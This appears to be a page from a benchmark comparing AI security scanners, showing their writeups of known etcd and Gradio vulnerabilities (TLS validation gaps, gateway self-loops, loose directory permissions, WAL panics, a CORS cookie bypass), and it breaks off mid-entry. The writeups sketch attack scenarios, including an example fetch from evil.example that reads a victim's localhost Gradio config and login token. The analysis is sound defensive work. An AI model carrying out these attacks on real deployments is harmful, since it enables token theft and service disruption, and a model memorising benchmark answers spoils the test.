etcdmain/util.go:52Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Secure discovery intends to authenticate the configured discovery domain** -
etcdmain/util.go:52-55```go title="etcdmain/util.go:52-55"
tlsInfo := transport.TLSInfo{
TrustedCAFile: ca,
ServerName: dns,
}
```
**2. The new validator never performs that TLS handshake** -
pkg/transport/tls.go:37-40```go title="pkg/transport/tls.go:37-40"
conn, cerr := t.Dial("tcp", ep[len("https://"):])
if cerr != nil {
errs = append(errs, fmt.Sprintf("%q failed to dial (%v)", ep, cerr))
continue
```
NewTransport's Dial is a plain net.Dialer, so any reachable HTTPS-labelled endpoint passes.
**3. Subsequent proxy TLS authenticates the SRV target, not the discovery domain** -
clientv3/credentials/credentials.go:97-100```go title="clientv3/credentials/credentials.go:97-100"
if ok {
_, host, _ := endpoint.ParseEndpoint(dialEp)
authority = host
}
```
For grpc-proxy using system roots, a DNS attacker with a valid certificate for their own hostname can redirect requests, capture authentication credentials, and impersonate the cluster despite insecure-discovery being false.
- Exploit scenario
-
Not specified.
- Recommendation
-
Perform an explicit TLS connection and handshake for every discovered endpoint using the generated TLS configuration with ServerName fixed to the trusted discovery domain. Reject endpoints on any handshake or certificate validation error, and test reachable plaintext, untrusted, and wrong-domain TLS endpoints.
-
The gateway can include itself as an endpoint, resulting in resource exhaustion etcd-2 · 1 writeup High
Devin Security (Deep)
Gateway accepts an endpoint that points back at itself, causing a connection loop
etcdmain/gateway.go:102Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If one of the gateway's endpoints resolves to the gateway's own listen address, one client connection makes the gateway connect to itself over and over until it runs out of file descriptors and stops serving everyone.
##### What's wrong
This is a self-referencing proxy loop, which is a form of uncontrolled resource consumption.
startGatewaybuilds its backend list from DNS SRV records or from--endpointsand never checks whether a backend is the gateway's own listen address. Upstream etcd added that check in v3.4.10 to fix CVE-2020-15114. This tree is v3.4.3 and does not have it.##### Who can do it
Alice runs
etcd gateway start --discovery-srv=acme.examplefor Acme Corp. Mallory can change, spoof or poison the_etcd-client-ssl._tcp.acme.exampleSRV answers that the gateway reads at startup. She publishes a record whose target and port are the gateway's own address. The endpoint check indiscoverEndpointsonly makes a plain TCP connection, and the gateway itself accepts TCP, so the record passes. An operator typo in--endpointscauses the same state with no attacker.- The gateway uses DNS SRV discovery and the attacker controls or spoofs those SRV answers, or an operator lists the gateway's own address in
--endpoints.- After that, any client that can open a TCP connection to the gateway triggers the loop.
##### What they get
Mallory can stop the gateway from serving any client. Each accepted connection makes the gateway dial itself, which creates another accepted connection, and so on. The gateway uses up its file descriptors and goroutines and stops passing traffic to the real etcd cluster. The harm is limited to availability. Mallory cannot read or change etcd data this way.
##### How it works
1.
discoverEndpointsreturns the SRV endpoints, orstartGatewayfalls back to--endpoints(etcdmain/gateway.go:102-106).2.
startGatewayturns every endpoint into anet.SRVbackend with no check againstgatewayListenAddr(etcdmain/gateway.go:107-125).3.
tcpproxy.TCPProxy.Runaccepts each client and callsserve(etcdmain/gateway.go:134-144).4.
servepicks a backend and dials it withnet.Dial. When the backend is the gateway itself, the new connection is accepted again and the cycle repeats (proxy/tcpproxy/userspace.go:163-203). - Exploit scenario
-
Not specified.
- Recommendation
-
Before starting the proxy, resolve the listen host and every backend target with
net.LookupHost. Refuse to start if any backend has the same port as the listen address and resolves to one of the listen host's addresses, as upstream etcd v3.4.10 does. Consider also capping concurrent proxied connections. To check the fix, start the gateway with--listen-addr=127.0.0.1:23790 --endpoints=127.0.0.1:23790and confirm it exits with an error instead of serving.
-
Directories created via os.MkdirAll are not checked for permissions etcd-3 · 4 writeups Medium
V12
Regenerated private keys retain permissive existing modes
pkg/transport/listener.go:116Predicted severity: Low- Root cause
-
SelfCerttreats restrictive creation modes as sufficient protection for existing directories and private-key files, without validating or tightening permissions on reuse or overwrite. - Impact
-
Where the existing directory is traversable and the key file readable by other local users, generation can expose a newly generated TLS private key to those users. This is conditional on pre-existing filesystem permissions, not an established attack against the default newly created
0700directory, and no attacker ability to plant symlinks is assumed. - Description
-
SelfCertrequests mode0700when creating its directory and0600when creatingkey.pem, but neither operation tightens an existing object's permissions. Ifkey.pemalready exists with group/world-readable permissions whilecert.pemis absent, the generation path truncates that key file and writes fresh private-key material without changing its mode. If both files exist, the early return also accepts the key without checking its permissions. Thus the explicit creation mode protects newly created keys but not regenerated or reused keys in a pre-existing directory. The public certificate's ordinary file mode is not itself a confidentiality problem.
Devin Security (Deep)
v2 proxy uses an existing data directory and the files in it without checking permissions
etcdmain/etcd.go:360Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A local user on the proxy host who can create or write the proxy data directory first can plant the proxy's TLS key or its cluster member list, but this needs local access and a loosely protected parent directory.
##### What's wrong
This is insecure permission handling.
startProxycallsos.MkdirAll(dir, 0700). That mode applies only when the call creates the directory. If<data-dir>/proxyalready exists with loose permissions or another owner, the proxy uses it anyway. It then trusts theclusterfile in that directory and reuses anyclientCerts/cert.pemandkey.pemit finds there.##### Who can do it
Alice, an operator at Acme Corp, runs
etcd --proxy on --data-dir /srv/shared/etcd --auto-tlswith anhttpsclient URL. Mallory is a local user on the same host who can write to/srv/shared. Before the proxy first starts, Mallory creates/srv/shared/etcd/proxywith mode 0777. She adds aclientCerts/cert.pemandkey.pemthat she generated, and aclusterfile that lists her own server as the peer.- Mallory has a local account on the proxy host.
- The proxy data directory already exists with permissions that let Mallory write to it, or its parent lets her create it first.
- For the certificate path, the proxy runs with
--auto-tlsand anhttpsclient URL.##### What they get
The proxy serves TLS with a key Mallory knows, so she can impersonate the proxy to clients and read their requests and credentials. Through the planted cluster file, the proxy also sends client traffic, including the Authorization header, to her server. The harm is limited to clusters behind this proxy.
##### How it works
1.
startProxybuilds<data-dir>/proxyand callsos.MkdirAllwith mode 0700 at etcdmain/etcd.go:360-364, which never changes the mode of a directory that already exists.2. The proxy reads peer URLs from
<data-dir>/proxy/clusterat etcdmain/etcd.go:367-405 without checking who owns or can write the file.3.
transport.SelfCertreusescert.pemandkey.pemif both exist in<data-dir>/proxy/clientCertsat pkg/transport/listener.go:116-131.4. The proxy listener serves with that certificate at etcdmain/etcd.go:518-532.
- Exploit scenario
-
Not specified.
- Recommendation
-
After
os.MkdirAll, stat the proxy directory and require that the process user owns it and that its mode is 0700. Fail startup or fix the mode if not. Apply the same check toclientCertsbefore reusing existing key files, and createcert.pemwith an explicit mode throughos.OpenFile. To check the fix, pre-create<data-dir>/proxywith mode 0777 and confirm that the proxy refuses to start or resets the mode to 0700.
Devin Security
Existing data and WAL directories with loose permissions are accepted without checks
pkg/fileutil/fileutil.go:48Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Another local user on the etcd host can read the etcd database and WAL files if the data directory already existed with open permissions, which exposes every key stored in the cluster.
##### What's wrong
This is an insecure file permission bug (the same class as CVE-2020-15113).
TouchDirAllcallsos.MkdirAll(dir, 0700). When the directory already exists,MkdirAlldoes nothing and the existing mode is kept. No code checks or fixes the mode, so a world-readable directory is accepted as the etcd data directory.##### Who can do it
Alice, an operator at Acme Corp, prepares
/var/lib/etcdwith a provisioning tool that creates it as0755. She starts etcd with that data directory. Mallory has an unprivileged shell account on the same host. She lists and reads the member, snap and wal subdirectories if they were also pre-created with loose modes, or reads files inside them that inherit loose access.- Mallory has a local account on the etcd host.
- The data directory (or member, snap, wal subdirectory) exists before etcd starts, with group or world read or execute bits.
##### What they get
Mallory can copy the bolt database and WAL segments. They hold every key and value in the cluster, including secrets stored by applications and the v3 auth user records with password hashes. The exposure is limited to that host's local users.
##### How it works
1.
etcdserver/server.go:310,:316and:489callfileutil.TouchDirAllfor the data, snapshot and member directories.2.
pkg/fileutil/fileutil.go:51callsos.MkdirAll(dir, PrivateDirMode), which returns nil without changing the mode of an existing directory.3.
pkg/fileutil/fileutil.go:57only checks that the directory is writable, so etcd starts and writes its data into the loosely protected directory. - Exploit scenario
-
Not specified.
- Recommendation
-
Add a permission check after MkdirAll (as upstream etcd did with CheckDirPermission). Stat the directory and fail or warn when its mode is wider than 0700, or chmod it to 0700. Apply it to the data, member, snap and wal directories. To verify, create a data directory with mode 0755, start etcd, and confirm that it refuses to start or tightens the mode.
Claude Security (Opus 5.5)
Auto-TLS key directory permissions never checked, and existing cert.pem/key.pem files are trusted without validation
pkg/transport/listener.go:117Predicted severity: Low- Root cause
-
Vulnerable symbol: SelfCert
Preconditions: Auto-TLS enabled (--auto-tls / --peer-auto-tls or proxy auto TLS); Target directory pre-exists with permissions allowing other local users to read or write; Local access to the host
Offending code:
if err = os.MkdirAll(dirpath, 0700); err != nil {
- Impact
-
The auto-TLS private key can be disclosed to, or replaced by, local users. That lets them impersonate the etcd server or peer for TLS. The impact is limited because auto-TLS peers already skip server verification.
- Description
-
SelfCert creates the auto-TLS directory with os.MkdirAll, which does not change or check the permissions of a directory that already exists. If cert.pem and key.pem are already there, SelfCert uses them unchecked. If only cert.pem is missing, it truncates and rewrites an existing key.pem with O_TRUNC, which keeps that file's old (possibly world-readable) mode. Each handshake re-reads the key from that directory (GetCertificate -> tlsutil.NewCert). Also CWE-276: os.MkdirAll applies mode 0700 only to directories it creates. An existing <data-dir>/fixtures/{peer,client} (or grpc-proxy/v2-proxy auto-TLS dir) with permissive modes is accepted without a check. SelfCert then treats any cert.pem/key.pem it finds there as the node's TLS identity and does not validate who created them. If the files are missing it writes them with os.Create/O_TRUNC, which follows planted symlinks.
- Exploit scenario
-
The data dir's fixtures/peer (or fixtures/client, or clientCerts) directory already exists with loose permissions, for example after a restore or when created by provisioning tooling with mode 0777/0755. A local user plants their own key.pem/cert.pem, or swaps them at any time because they are re-read on every handshake, so the server presents key material the attacker knows. If key.pem already exists with mode 0644, the newly generated private key is written into it and stays readable by other local users.
- Recommendation
-
Check the mode of an existing directory and refuse to start if it is broader than 0700. Create key.pem with O_EXCL or write to a temp file and rename. Run chmod 0600 on the key after writing. Check that reused cert/key files are owned by the etcd user and are not group- or world-accessible. Also CWE-276: When the directory exists, check its mode (e.g. fileutil.CheckDirPermission) and refuse to start if it is accessible to group/other. Check ownership and mode of existing key.pem before reusing it. Create files with O_EXCL|O_NOFOLLOW.
-
Gateway TLS authentication only applies to endpoints detected in DNS SRV records etcd-4 · 2 writeups Medium
Devin Security (Deep)
SRV endpoint "TLS validation" only checks TCP reachability, so --trusted-ca-file never authenticates gateway backends
etcdmain/util.go:48Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who can spoof the DNS SRV answers that the etcd gateway or gRPC proxy reads at startup can get their own server accepted as a "validated secure" etcd endpoint, because the check never looks at a TLS certificate.
##### What's wrong
This is missing certificate validation.
discoverEndpointsbuilds a TLS config from--trusted-ca-fileand callstransport.ValidateSecureEndpointsto "confirm TLS connections are good". That function only makes a plain TCP connection throughhttp.Transport.Dial. It never does a TLS handshake and never checks a certificate against the CA. Endpoints from--endpoints, and the fallback used when discovery finds nothing, are never checked at all. This is the weakness described in CVE-2020-15136. Upstream only documented it.##### Who can do it
Alice runs
etcd gateway start --discovery-srv=acme.example --trusted-ca-file=acme-ca.pemand expects that only servers with Acme certificates are used. Mallory can poison or spoof DNS foracme.example, for example from the same network segment. She adds an_etcd-client-ssl._tcprecord that points to a host she controls with any open TCP port. The gateway logs the record as a validated endpoint and adds it to its backend rotation.- The gateway or gRPC proxy uses
--discovery-srv.- The attacker can control or spoof the SRV answers for that domain.
##### What they get
Mallory's server receives a share of the raw client connections that go through the gateway. Clients that check etcd server certificates end to end will reject her server, so for them the result is failed requests. Clients that skip certificate checks, or a deployment where the operator relies on the gateway's
--trusted-ca-fileas the only check, send their traffic and credentials to her. If her record makes every real endpoint fail, the gateway quietly falls back to the unvalidated--endpointslist and only logs a warning.##### How it works
1.
discoverEndpointsreads the SRV records and builds aTLSInfowith the trusted CA file (etcdmain/util.go:30-54).2. It calls
transport.ValidateSecureEndpointsand treats the result as authenticated (etcdmain/util.go:67-87).3.
ValidateSecureEndpointschecks only thehttps://prefix and then callst.Dial("tcp", ...), which is a plainnet.Dialerwith no TLS (pkg/transport/tls.go:33-43, pkg/transport/transport.go:32-38).4. Any host that accepts TCP is kept and mapped back into the SRV list that the gateway proxies to (etcdmain/util.go:92-105).
5. If no endpoints survive, the gateway uses
--endpointswith no validation (etcdmain/gateway.go:102-106). - Exploit scenario
-
Not specified.
- Recommendation
-
Replace the TCP connect in
ValidateSecureEndpointswith a real TLS handshake, for exampletls.DialWithDialerusing the config fromtlsInfo.ClientConfig()and the SRV target asServerName. Drop endpoints whose certificate does not chain to the trusted CA. Make validation failure fatal or at least exclude failed endpoints instead of only logging a warning. Consider validating--endpointsthe same way when a CA file is given. To check the fix, point an SRV record at a TLS server with a self-signed certificate and confirm the gateway rejects it.
Claude Security (Sonnet 5.5)
ValidateSecureEndpoints never performs a TLS handshake, so SRV-discovered endpoints are not certificate-validated
pkg/transport/tls.go:37Predicted severity: Low- Root cause
-
Vulnerable symbol: ValidateSecureEndpoints
Preconditions: Endpoints come from DNS SRV discovery (etcd gateway or gRPC proxy --discovery-srv without --insecure-discovery); Attacker can spoof or poison the SRV DNS response, or is on-path; Clients do not independently verify the backend certificate (for gateway exposure to be more than DoS)
Offending code:
conn, cerr := t.Dial("tcp", ep[len("https://"):])
- Impact
-
The CA-based trust check for discovered endpoints is ineffective. Under DNS spoofing, gateway traffic can be redirected to an arbitrary host, causing denial of service and traffic interception. Interception exposes plaintext if clients do not verify the server certificate end to end. The gRPC proxy path is partly mitigated because it later does real TLS verification through clientv3.
- Description
-
ValidateSecureEndpoints builds an http.Transport holding the CA and ServerName in TLSClientConfig, then calls the transport's raw Dial field. That field is a plain net.Dialer.Dial, so only a TCP connect happens and TLSClientConfig is never used. The only checks are an "https://" prefix, which comes from the DNS SRV record name, and port reachability.
- Exploit scenario
-
An operator runs
etcd gateway start --discovery-srv example.com --trusted-ca-file ca.pemwithout --insecure-discovery. They expect discovered endpoints to be validated against the CA (etcdmain/util.go:67 logs "validating discovered SRV endpoints"). An attacker who can spoof or poison the_etcd-client-ssl._tcp.example.comSRV answer points it at an attacker host with an open TCP port. The check passes without a certificate check and the gateway (a transparent TCP proxy) forwards client connections to that host. If the TLS-validation step in etcdmain/util.go:67 were honored, this would be rejected. If--endpointsis used instead, no validation of any kind is done, because the gateway falls back to those endpoints without calling this function. - Recommendation
-
Perform a real TLS handshake in ValidateSecureEndpoints, for example tls.Dial or tls.Client(conn, cfg).Handshake() using t.TLSClientConfig, and verify the certificate against the CA and ServerName. Close the connection afterward. Reject endpoints whose handshake fails. Make the gateway apply the same validation to --endpoints, or document that it does not.
-
An entry with large index causes panic in WAL.ReadAll method etcd-6 · 3 writeups Medium
V12
Entry gaps reach unchecked recovery slice bounds
wal/wal.go:431Predicted severity: Medium- Root cause
-
ReadAllassumes entry indices describe a contiguous prefix or an overwrite and encodes that assumption as unchecked slice arithmetic. It does not validate the new index against the number of recovered entries before reslicing. - Impact
-
A structurally valid, correctly checksummed WAL with discontinuous entry indices can terminate member recovery or introduce fabricated/stale entries into the recovered log. The searched peer ingress, Raft append, and server persistence paths accept entries through Raft, but ordinary client proposals receive server-assigned contiguous indices; direct client control of this failure is not established.
- Description
-
Replay uses each decoded entry index directly as the upper bound of a slice operation without checking continuity or the slice capacity. For snapshot index zero, a first CRC-valid entry at index two executes
ents[:1]whileentsis nil and panics. Larger indices, includingMaxUint64, reach the same unchecked operation; when a gap happens to fit the slice's spare capacity, replay can instead extend into zero-valued or previously truncated entries. Overwriting an existing index is supported by this implementation, but there is no separate check distinguishing a valid overwrite from a forward gap.Verifyignores entry payload semantics, so it does not reject such a log before replay.
Devin Security (Deep)
WAL ReadAll slices the entry list with an index taken from the file without a bounds check
wal/wal.go:431Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who can write or hand over a WAL file can make etcd crash on startup, or load entries with silent gaps, but this needs local file access.
##### What's wrong
This is a missing bounds check on an index read from untrusted data.
ReadAllcomputes a slice end from the entry'sIndexfield and the snapshot index, then slices the in-memory entry list to that length. It never checks that the value is at most the current list length. If the WAL skips ahead in index, the slice expression either panics or, when the value is within the slice capacity, quietly fills the gap with zero-valued or stale entries.##### Who can do it
Alice, an operator at Acme Corp, runs an etcd member. Mallory has write access to that member's data directory, or gives Alice a data directory to inspect with
etcd-dump-logsoretcdctl backup. Mallory writes a WAL with one valid entry at index 1 followed by a valid, correctly checksummed entry at index 1000.- Mallory can write a
.walfile into the member'swaldirectory, or can get an operator to read a data directory she supplies.- The CRC chain is not a secret. Mallory can compute valid CRC32 values for any record she writes.
##### What they get
The etcd member panics at startup and stays down until someone repairs the WAL by hand. The repair logic does not run because the process dies from a panic. If the jump stays within the slice capacity, the member instead starts with blank or stale entries in its raft log, which can apply wrong data to its key-value store. Mallory cannot read data through this, and it affects only the member or tool reading the file.
##### How it works
1.
ReadAlldecodes each record in a loop at wal/wal.go:431.2. For an entry record it unmarshals the entry at wal/wal.go:434 and takes
e.Indexfrom the file.3. It evaluates
ents[:e.Index-w.start.Index-1]at wal/wal.go:436 with no check againstlen(ents).4. A value larger than
cap(ents)panics. A value betweenlen(ents)andcap(ents)re-exposes old or zeroed slots as if they were real entries.5.
readWALin etcdserver/storage.go:83 does not recover from the panic, so server startup fails. - Exploit scenario
-
Not specified.
- Recommendation
-
Before slicing, compute up := e.Index - w.start.Index - 1 and return an error (upstream uses ErrSliceOutOfRange) if up > uint64(len(ents)). Return errors instead of calling MustUnmarshal for entry, state, and snapshot records. To check the fix, add a test that writes entries with indices 1 and 1000 after a snapshot at index 0 and confirm ReadAll returns an error instead of panicking or returning 999 entries.
Devin Security
WAL ReadAll slices entries with an unchecked index from the file
wal/wal.go:432Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who can write to an etcd member's WAL file can make the member panic on startup, but they need local file access first.
##### What's wrong
This is a missing bounds check before a slice.
ReadAllcomputese.Index-w.start.Index-1from an entry index in the file and slicesentswith it. It never checks that the offset is at mostlen(ents).##### Who can do it
Alice runs an etcd member for Acme Corp. Mallory can write to its WAL directory. She writes an entry record whose index is far ahead of the entries before it. On restart the member panics.
- Attacker can write or replace WAL files under the member's
waldirectory.- The record must pass CRC validation, which Mallory can recompute because the CRC is not keyed.
##### What they get
The member crashes with
slice bounds out of rangeevery time it starts. Only the tampered member is affected. No data leaks.##### How it works
1.
ReadAlldecodes each entry record at wal/wal.go:432.2. If
e.Index > w.start.Index, wal/wal.go:436 slicesents[:e.Index-w.start.Index-1].3. When that value is larger than
len(ents), Go panics and the process exits. - Exploit scenario
-
Not specified.
- Recommendation
-
Compute
offset := e.Index - w.start.Index - 1and return an error such asErrSliceOutOfRangewhenoffset > uint64(len(ents)), before slicing. Add a test with a WAL whose second entry skips ahead by several indexes and confirmReadAllreturns the error instead of panicking.
-
A large slice causes panic in decodeRecord method etcd-7 · 3 writeups Medium
V12
Corrupted frame lengths trigger unbounded recovery allocations
wal/decoder.go:67Predicted severity: Medium- Root cause
-
decodeRecordtrusts the frame's declared length as an allocation budget, without checking actual available bytes or a safe allocation limit. Frame-size parsing masks bits but does not validate resource bounds. - Impact
-
Corrupted WAL length bytes can prevent member recovery through an allocation panic or memory exhaustion, and a large feasible allocation can pressure other processes on the host. The verified input is local persistent WAL data; the searched server storage and Raft persistence paths do not establish that ordinary clients can choose raw frame headers.
- Description
-
The frame decoder allocates its record buffer directly from the on-disk length word before checking whether the record is present.
decodeFrameSizepreserves 56 length bits, allowing a declared payload approaching 64 PiB, whiledecodeRecordimmediately executesmake([]byte, recBytes+padBytes). Neither the reader nor the selected WAL files impose a corresponding bound before this allocation. A damaged eight-byte frame header can therefore cause allocation failure or extreme memory consumption instead of a bounded corruption error. This decoder is shared by startup replay, verification, and repair.
Devin Security (Deep)
WAL decoder allocates a buffer sized by an unchecked 56-bit frame length and panics on malformed records
wal/decoder.go:81Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who can write or hand over a WAL file can make etcd, or an etcd tool that reads it, crash on startup, but this needs local file access and only affects availability.
##### What's wrong
This is an unbounded allocation from untrusted input. The WAL decoder reads an 8-byte length field from the file and allocates a buffer of that size before checking that the file holds that many bytes. There is no maximum record size. A length near 2^56 makes the Go runtime abort the process. A length in the gigabyte range can exhaust memory. The same path also turns malformed protobuf data into panics instead of errors. Record decoding uses generated code that does not reject an overflowing length. Entry, state, and snapshot payloads go through
pbutil.MustUnmarshal, which panics on any error.##### Who can do it
Alice, an operator at Acme Corp, runs a three-node etcd cluster. Mallory is a user on one of the hosts who has write access to the etcd data directory, or who gives Alice a crafted data directory to inspect with
etcd-dump-logsoretcdctl backup. Mallory writes a WAL segment whose first frame header claims a record of about 2^56 bytes.- Mallory can write a
.walfile into the member'swaldirectory, or can get an operator to point an etcd tool at a data directory she supplies.- The target process opens that WAL (etcd server startup,
etcdctl backup,etcdctl migrate, oretcd-dump-logs).##### What they get
The etcd member crashes every time it starts, so it cannot rejoin the cluster until someone deletes or fixes the WAL by hand. The built-in WAL repair does not run because the process dies from a panic, not from a returned error. Mallory gets no data and cannot change cluster state. The harm is limited to the member or tool that reads the bad file.
##### How it works
1.
decodeRecordreads the frame length withreadInt64at wal/decoder.go:67.2.
decodeFrameSizeat wal/decoder.go:114-123 keeps the low 56 bits asrecByteswith no upper limit.3.
make([]byte, recBytes+padBytes)at wal/decoder.go:83 allocates that size beforeio.ReadFullchecks the file length.4. If the allocation succeeds,
rec.Unmarshalat wal/decoder.go:92 runs generated code (wal/walpb/record.pb.go:263-267) that can overflowpostIndexand panic on a slice expression.5.
mustUnmarshalEntryandmustUnmarshalStateat wal/decoder.go:172-182 callpbutil.MustUnmarshal, which panics on bad payload bytes.6.
readWALin etcdserver/storage.go:76-90 only handles returned errors, so a panic kills the server before repair. - Exploit scenario
-
Not specified.
- Recommendation
-
Add a maximum WAL record size (upstream etcd uses 10 MB) and return an error such as ErrMaxWALEntrySizeLimitExceeded when recBytes exceeds it, before calling make. Also reject a recBytes larger than the remaining file size. Replace MustUnmarshal calls on WAL data with Unmarshal and return the error. Upgrade gogo/protobuf to a version that checks postIndex < 0 and regenerate walpb and raftpb. To check the fix, add a decoder test that writes a frame header with length 1<<55 and confirm decode returns an error without a large allocation, and a test that feeds random bytes as an entry payload and confirm ReadAll returns an error rather than panicking.
Devin Security
WAL decoder allocates a buffer sized from an unchecked on-disk length field
wal/decoder.go:68Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who can write to an etcd member's WAL file can make the member crash on every restart, but they need local file access first.
##### What's wrong
This is a missing bound on an allocation size. The WAL decoder reads a 64-bit length from the file, keeps the low 56 bits, and calls
make([]byte, recBytes+padBytes)with no maximum size check and no check against the remaining file size.##### Who can do it
Alice runs an etcd cluster for Acme Corp. Mallory has write access to the data directory on one member, for example through a shared volume or a backup restore. She overwrites the length field of one WAL record with a huge value. When the member restarts, it crashes.
- Attacker can write or replace WAL files under the member's
waldirectory.- The member reopens the WAL (restart or
etcdctl/tools that read the WAL).##### What they get
The member cannot start. A length near 2^56 makes the runtime abort with an out-of-memory panic, or panics on
makeslice: len out of range. Mallory only takes down the member whose files she changed. She gets no data.##### How it works
1.
decodeRecordreads the length withreadInt64at wal/decoder.go:68.2.
decodeFrameSizeat wal/decoder.go:81 turns it into a size of up to 2^56-1 bytes.3. wal/decoder.go:83 allocates that many bytes before any read, so the process aborts.
- Exploit scenario
-
Not specified.
- Recommendation
-
Reject records whose
recBytes+padBytesexceeds a fixed limit (upstream etcd usesmaxWALEntrySizeLimitof 10 MB) or the remaining bytes in the file, and return an error such asErrMaxWALEntrySizeLimitExceeded. Add a test that writes a WAL record with a length of 1<<55 and confirmsReadAllreturns an error instead of panicking.
- No minimum password length etcd-8 Medium
-
-
Gradio Python Machine learning web application framework. Tasks 9 V12 7/9 Devin (Deep) 7/9 Devin 3/9 Codex Sec 3/9 Claude Sec 6/9 Claude Opus 8/9 Vercel 4/9
Machine learning web application framework.
-
CORS origin validation is not performed when the request has a cookie huggingface-gradio-1 · 6 writeups High
V12
Cookies bypass localhost cross-origin restrictions
gradio/gradio/route_utils.py:738Predicted severity: High- Root cause
-
CustomCORSMiddleware._send()treats cookie presence as an alternative to origin authorization. Cookies authenticate a request but do not establish that its origin is trusted. - Impact
-
A remote website can read authenticated application configuration and other GET responses accessible to the victim, including authorized file responses, when the browser sends the application's cookies. Browser third-party-cookie restrictions can block this delivery, but the middleware itself explicitly authorizes the otherwise disallowed origin.
- Description
-
CustomCORSMiddleware._send()reflects the supplied origin whenever a request contains anyCookieheader, without requiringis_valid_origin()to succeed. This bypasses the localhost-origin restriction enforced for otherwise identical requests and for preflight responses. Successful password login deliberately sets an authentication cookie withSameSite=None; Secure, andget_current_user()accepts that cookie. Consequently, a credentialed cross-origin GET to protected routes such as/configcan pass authentication and receive bothAccess-Control-Allow-Credentials: trueand the attacker's reflected origin. This path requires the browser to send cookies, for example an HTTPS local deployment where cross-site cookies are permitted; it does not require a successful preflight for simple GETs.
Devin Security (Deep)
Any website can read responses from a Gradio app using the visitor's login cookie
gradio/gradio/route_utils.py:738Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any web page a logged-in user visits can read that user's private Gradio app pages and steal the login token that gives full access to the app.
##### What's wrong
This is a cross-origin resource sharing (CORS) misconfiguration. The custom CORS middleware adds the header that allows credentialed cross-origin reads, and then echoes back whatever origin the request came from whenever the request carries a cookie or the app is not served on localhost. Browsers normally stop one site from reading another site's responses. Here the server tells the browser the read is allowed, no matter which site asked. The login cookie is also set with
samesite=none, so the browser attaches it to those cross-site requests.##### Who can do it
Alice is an engineer at Acme Corp. She runs a Gradio app on an internal server at
https://tools.acme.examplewith a username and password (gr.Blocks().launch(auth=...)), and she is signed in. Mallory runs a public website. She sends Alice a link. While Alice has her Gradio login cookie, Mallory's page makes a background request tohttps://tools.acme.example/tokenwith credentials included. Because the app echoes Mallory's origin back and allows credentials, Mallory's page reads the JSON response, which contains Alice's login token and her username.- The Gradio app is reachable from the browser Mallory's victim is using.
- The app has login enabled (
auth=or anauth_dependency), or has data worth reading behind the login.- The victim is signed in and visits a page Mallory controls.
##### What they get
Mallory gets Alice's login token for the Acme app. With that token she can act as Alice on that app: run any function the app exposes, read files the app serves through
/file=, and read the app configuration. If the app runs models or shell-backed functions on Acme's internal network, she can drive them as Alice. She can also skip the token and simply read responses from/config,/info, and/file=directly from her page using Alice's cookie. This reaches any user she can lure to her page and any Gradio app built with this version; it does not by itself reach other systems that do not trust this app's token.##### How it works
1. Mallory's page issues a
fetchto the Gradio app withcredentials: "include", so the browser attaches the app's login cookie, which is allowed cross-site because/loginsets it withsamesite=noneat gradio/gradio/routes.py:332.2. The CORS middleware always adds
Access-Control-Allow-Credentials: trueat gradio/gradio/route_utils.py:701 and 746.3. In
_sendat gradio/gradio/route_utils.py:747, the middleware reflects the request'sOriginintoAccess-Control-Allow-Originwhenever the request has any cookie, andis_valid_originat gradio/gradio/route_utils.py:753 also returns true for every origin whenever the app's own host is not localhost.4. The browser therefore hands the response body to Mallory's page.
5. The
/tokenroute at gradio/gradio/routes.py:274 returns the value of the login cookie and the matching username in JSON, so the read yields a working session token. - Exploit scenario
-
Not specified.
- Recommendation
-
Drop the
has_cookiecondition in_sendso the origin is reflected only when it passes an explicit check, and replaceis_valid_originwith a real allowlist: accept the app's own origin (from the Host or configured root URL) plus origins the developer opts into, and stop treating "the app is not on localhost" as proof that any origin is fine. Remove"null"from the accepted origins. Stop returning the raw cookie value from/token, or require a same-origin check on it. To check the fix, send a request to/tokenand/configwith anOriginheader of an unrelated site and a cookie present, and confirm the response has noAccess-Control-Allow-Originheader for that origin.
Devin Security
CORS middleware reflects any Origin with credentials when a Cookie header is present
gradio/gradio/route_utils.py:738Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A malicious website can read data from a Gradio app running on a victim's localhost whenever the browser sends any cookie to localhost, which defeats the localhost origin restriction.
##### What's wrong
This is a CORS misconfiguration.
CustomCORSMiddleware._sendsetsAccess-Control-Allow-Originto the caller's Origin, withAccess-Control-Allow-Credentials: true, if the request carries any Cookie header. The localhost check inis_valid_originis skipped in that case.##### Who can do it
Alice runs a Gradio app with private documents on
localhost:7860. She also has another local tool that set a cookie onlocalhost. Cookies are not scoped by port. Mallory gets Alice to visitevil.example, which runsfetch('http://localhost:7860/config', {credentials: 'include'}).- The victim's browser sends at least one cookie for the app host. This can be a Gradio access cookie or any cookie set by another app on localhost.
- The browser allows that cookie on the cross-site request.
##### What they get
Mallory's page can read responses from Alice's local app. That includes the config, files under
/file=, and results of API calls she triggers. She can also run the app's functions as Alice. The harm is limited to apps the victim can reach from her browser.##### How it works
1. Mallory's page sends a credentialed request to the local Gradio app.
2. The browser attaches a localhost cookie, so
has_cookieis true (route_utils.py:747).3.
_sendreflects Mallory's Origin and allows credentials without calling the localhost check (route_utils.py:749-750).4. The browser lets Mallory's script read the response.
- Exploit scenario
-
Not specified.
- Recommendation
-
Always require is_valid_origin before reflecting the Origin, and do not use the presence of a Cookie header as a trust signal. Test by sending a request with Host: localhost:7860, Origin: https://evil.example and any Cookie header, and confirm that no Access-Control-Allow-Origin header is returned.
Codex Security (GPT-6 Sol)
Cross-origin request exposes a logged-in Gradio user's token
gradio/gradio/routes.py:274Predicted severity: High- Root cause
-
